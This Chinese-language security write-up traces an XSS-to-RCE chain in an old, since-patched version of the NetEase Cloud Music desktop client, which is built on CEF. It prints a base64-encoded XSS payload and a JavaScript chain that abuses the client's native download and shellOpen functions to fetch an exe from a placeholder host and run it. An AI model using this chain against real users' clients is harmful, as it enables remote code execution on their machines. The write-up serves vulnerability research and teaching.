遠程資源加載,通過http、https等協議加載網頁,通常在軟件里作為擴展功能,可延展性強,缺點是頁面加載速度受網絡環境影響。 本地資源加載,通過file協議實現加載web頁面,也是cef桌面應用的主要實現方式。本地加載uri實現方式分為三種:
第2、3種方式是通過cef資源重定向實現的,在使用cef加載本地web資源時,html或者js文件很可能會暴露一些接口或者重要數據,為了代碼保護需要把web資源進行加密,常見方式是通過zip進行密碼加密。解密也比較簡單,逆向主程序文件找到解壓密碼或者zip明文攻擊就能解壓加密的資源文件。
具體的實現原理這里不再復述,感興趣的可以閱讀這篇文章 https://blog.csdn.net/csdnyonghu123/article/details/92808278
漏洞挖掘的第一步,先打開網易云音樂的目錄,可以看到明顯的Cef目錄架構,比如說子目錄、依賴庫特征等。
在package目錄中,找到了網易云音樂的資源文件包orpheus.ntpk,以zip格式解壓得到網易云音樂html資源文件。
解壓之后目錄結構如下,包含了html、js、css文件等,正是這些構成了網易云音樂的整個前端界面。
當網易云音樂主程序打開時就會加載鏈接 orpheus://orpheus/pub/app.html,經過cef資源重定向處理后,加載orpheus.ntpk壓縮包的/pub/app.html,也就是我們最為熟悉的主界面。
通過進程查看軟件Process Hacker查看cloudmusic.exe進程,可以看到cloudmusic.exe主進程下面起了兩個子進程。
這兩個進程分別是render進程與GPU加速進程,GPU加速進程用于加速頁面渲染,在網易云音樂的設置里可以禁用GPU加速。
// cef render進程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=renderer --high-dpi-support=1 --lang=en-US --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --context-safety-implementation=-1 --uncaught-exception-stack-size=1048576 --no-sandbox --enable-pinch --enable-threaded-compositing --enable-delegated-renderer --enable-software-compositing --channel="5180.1.1167745776\650049420" /prefetch:673131151
?
// cef gpu加速渲染進程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=gpu-process --channel="5180.0.520330526\2071578727" --high-dpi-support=1 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,15 --gpu-vendor-id=0x15ad --gpu-device-id=0x0405 --gpu-driver-vendor="VMware, Inc." --gpu-driver-version=8.16.1.24 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox /prefetch:822062411
在漏洞挖掘過程中可以關注下cef進程的啟動參數,指不定有些好玩的啟動參數,后邊章節再講這方面。
在拿到源碼文件之后,能做的事情很多,感興趣的可以自行從html、js里邊發掘。這次的目的是為了給客戶端彈個計算器,所以首先要達到一個目標,執行任意JavaScript,先從一個xss漏洞開始。
接下來就是常規的Web前端漏洞挖掘思路,在發掘過程中可以將html、js進行格式化,方便閱讀代碼。
原漏洞作者的思路是從html模板文件找到未過濾的模板變量,從而控制輸出點達到xss。但在實際挖掘中,大部分html輸出點都是不可控的,原作者找到的xss觸發點在電臺頁面/pub/module/main/djradio/show/index.html的電臺名稱字段。
漏洞點修復前是${x.name},修復之后加上了escape進行編碼過濾。
我們需要添加一個名稱帶有xss payload的電臺,受害者通過搜索電臺名稱,在訪問電臺頁時即可觸發xss。
原漏洞作者提到了通過外置瀏覽器跳轉到偽協議鏈接orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest,從而喚起網易云音樂,但經過實際分析測試,只能喚起應用但不能跳到對應搜索頁面。
那外置瀏覽器是如何調用網易云音樂偽協議,通過注冊表可以查看windows系統中注冊的所有偽協議,比如網易云音樂orpheus協議在注冊表的地址為 HKEY_CLASSES_ROOT\orpheus\shell\open\command,鍵值為 “D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”%1″,%1作為變量對應的是完整的偽協議url,最終創建進程 D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest”
目前電臺頁面處無法復現漏洞,所以搬了原作者的xss效果圖。
小目標達到了,接下來就是如何將xss漏洞的危害擴大,這里就要用到第一節講到的知識點,應用程序會在render進程上下文中注冊許多JavaScript擴展函數,用于應用程序與網頁進行交互。
舉個例子,緩存歌曲、緩存突破、下載歌曲、下載歌詞文件這些功能都需要涉及文件操作,但網頁由于安全策略限制是無法直接保存文件的,所以需要通過JavaScript調用native function來實現文件操作。
當然應用程序注冊的JavaScript擴展函數不止這些,接下來進階攻擊就是尋找脆弱的JS擴展函數進行復用,以達到竊取數據、劫持登錄憑證、讀取任意文件、甚至控制對方計算機權限的目的。
現在復測沒有xss漏洞可以用,那我們就假裝有一個xss,通過攔截網易云音樂的請求修改響應,插入我們的JavaScript代碼。此時祭出大殺器BurpSuite,通過網易云音樂自帶的HTTP代理功能設置成127.0.0.1:8080
代理設置成功后,BurpSuite就能抓到網易云音樂的請求。這里用漏洞版本2.1.2.180086作為演示,前面提到過網易云音樂有很多html輸出點都沒過濾的,但是內容是不可控的。在舊版本網易云音樂中,可以通過BurpSuite攔截修改api請求的明文響應包插入xss payload,觸發XSS。(新版本中api請求響應都加密了)
比如說在搜索歌詞時,響應部分的lyrics字段會作為html內容插入到頁面中,可以替換這部分的響應內容插入xss內容。
添加自動替換響應包規則,省得每次都要攔截修改響應。
隨便搜一個查詢條數少的關鍵詞,切到歌詞的搜索結果,加載替換響應內容后成功觸發XSS。
通常cef程序很少會留有可以直接系統命令的擴展函數,所以常見的rce思路是下載可執行文件+運行文件以達到rce的效果。接下來就是通讀代碼,尋找任意保存文件的擴展函數。
網易云音樂的主要功能邏輯在core.js文件,第一步先將混淆的JavaScript代碼美化,提高代碼可讀性,在代碼量居多的情況下可以搜索相關關鍵詞以定位函數,如save、保存、download、下載等,通過關鍵詞定位找到一處可疑的功能代碼。
根據代碼上下文邏輯,構造出文件下載保存的JavaScript代碼。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://www.baidu.com/img/bd_logo1.png", rel_path: "C:/users/public/1.png", pre_path: "", type: 1 });
JavaScript代碼太長在xss里格式不好處理,所以將xss代碼base64執行。
<img src=x onerror=eval(atob('dmFyIGJ5eiA9IE5FSi5QOwpiRCA9IGJ5eigibmVqLmNlZiIpOwpiRC5jRkIoImRvd25sb2FkLnN0YXJ0IiwgeyBpZDogImltYWdlX2Rvd25sb2FkIiwgdXJsOiAiaHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmciLCByZWxfcGF0aDogIkM6L3VzZXJzL3B1YmxpYy8xLnBuZyIsIHByZV9wYXRoOiAiIiwgdHlwZTogMSB9KTs='))>
插入XSS代碼觸發,可以將任意遠程文件保存到本地任意位置。poc觸發成功后將百度logo圖片保存到c:/users/public/1.png
當然在實際場景中可能會遇到長度限制,這里只是把payload寫在一起作為演示,正常利用建議還是引用遠程JS文件。
exe文件已經落地到文件系統中了,接下來就是如何觸發下載后的exe文件。通讀代碼可以發現,網易云音樂基本是通過bD.cFB、bD.bX調用native函數,可以圍繞著這些函數調用進行發掘,然后復用函數方法。
通過技巧找到了打開exe文件的方法,這個函數原意應該是用來打開文件夾的,文件/pub/module/main/offline/complete/index.html
根據代碼上下文邏輯,構造出打開指定exe文件的JavaScript代碼。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.bX("os.shellOpen", "c:/windows/system32/calc.exe");
文件下載、打開exe文件都具備了,接下來構造完整漏洞利用代碼。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://xxx.com/calc.jpg", rel_path: "c:/users/public/1.exe", pre_path: "", type: 1 });
setTimeout(function(){bD.bX("os.shellOpen", "c:/users/public/1.exe")}, 5000);
完整利用流程:插入xss payload -> 誘導別人觸發xss -> 下載保存exe文件 -> 打開執行exe文件
在網易云音樂最新版本中不僅修復了xss漏洞、增加CSP安全策略,還修復了文件下載、打開文件等涉及文件操作的許多函數,使攻擊成本加大,熟悉逆向的可以分析下判斷邏輯是否能夠繞過。
本章節涉及了cef資源加載、目錄結構分析、進程啟動分析、scheme協議注冊、XSS漏洞挖掘、native交互漏洞挖掘等知識點,完成一個XSS to RCE漏洞的挖掘才能算是真正的入門。當Web安全人員去真正發掘這方面漏洞時,會發現嵌入式瀏覽器漏洞挖掘也沒那么難以觸及,主要是通讀代碼跟復現代碼邏輯會比較耗時間,感興趣的朋友可以嘗試下挖掘通用點的桌面應用~
漏洞原作者:evi1m0 https://www.chinabaiker.com/thread-2897-1-1.html https://blog.csdn.net/csdnyonghu123/article/details/92808278
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